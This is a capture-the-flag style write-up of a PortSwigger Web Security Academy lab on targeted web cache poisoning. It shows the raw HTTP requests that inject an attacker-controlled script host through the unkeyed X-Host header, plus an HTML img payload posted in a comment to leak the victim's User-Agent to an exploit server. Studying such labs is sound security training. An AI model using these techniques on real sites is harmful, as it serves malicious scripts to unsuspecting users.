| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Web Cache Poisoning — Targeted, Vary-Header Cache Split |
| Difficulty | Practitioner |
| Objective | Poison the cache with a response that executes alert(document.cookie) in the visitor's browser, ensuring the response is served specifically to the victim |
| Note | A victim user will view any comments we post |
Targeted Web Cache Poisoning Using an Unknown Header¶
I intercepted a request to / and ran Param Miner "Guess headers" on default settings. It found an unkeyed parameter: x-host~%h:%s.
With a cache buster, the response confirmed the cache was active via Cache-Control and Age headers.
The response body included a tracking script import:
<script type="text/javascript" src="//0a1f002e03a763a982d6490a000f00ce.h1-web-security-academy.net/resources/js/tracking.js"></script>
Testing X-Host manually:
GET / HTTP/1.1
Host: 0a1f002e03a763a982d6490a000f00ce.h1-web-security-academy.net
X-Host: teto.com
<script type="text/javascript" src="//teto.com/resources/js/tracking.js"></script>
The script host follows our X-Host value directly — same pattern as the first unkeyed-header lab, just under a different header name. I set up the exploit server at the expected path and sent the poisoning request:
GET / HTTP/1.1
Host: 0a1f002e03a763a982d6490a000f00ce.h1-web-security-academy.net
X-Host: exploit-0ae400c7037d63e782b7480601910091.exploit-server.net
Reloading /, the alert fired for us.
But poisoning the cache isn't enough here — the response also needs to reach the victim. Checking the response headers on the poisoned entry revealed the problem:
HTTP/1.1 200 OK
Vary: User-Agent
Vary: User-Agent means the cache maintains separate cached responses per User-Agent value, even though it's not part of the primary cache key in the usual sense. Our poisoned entry only applies to requests carrying our own User-Agent. The victim, running a different browser, would hit a separate, unpoisoned cache variant entirely. This is a two-stage attack: the unkeyed-header injection gets the payload into a cached response, but the Vary dimension has to be matched separately before it actually reaches the intended victim instead of just ourselves.
Since the victim reviews every comment we post, and HTML is allowed in comments, I used that to leak their real User-Agent to the exploit server:
<img src=https://exploit-0ae400c7037d63e782b7480601910091.exploit-server.net>
When the victim's browser loaded the image tag, the request carried their real User-Agent. Checking the exploit server logs:
The victim's exact User-Agent string was captured. A comment field that accepts and renders HTML is itself a reconnaissance vector here — not exploited for XSS, just used to make the victim's browser leak the header we needed.
I resent the poisoning request with User-Agent set to match the victim's exactly:
GET / HTTP/1.1
Host: 0a1f002e03a763a982d6490a000f00ce.h1-web-security-academy.net
X-Host: exploit-0ae400c7037d63e782b7480601910091.exploit-server.net
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Reloading the page with our own User-Agent no longer triggered the alert — confirming the poisoned variant was now specific to the victim's browser, not ours.
Lab solved o..o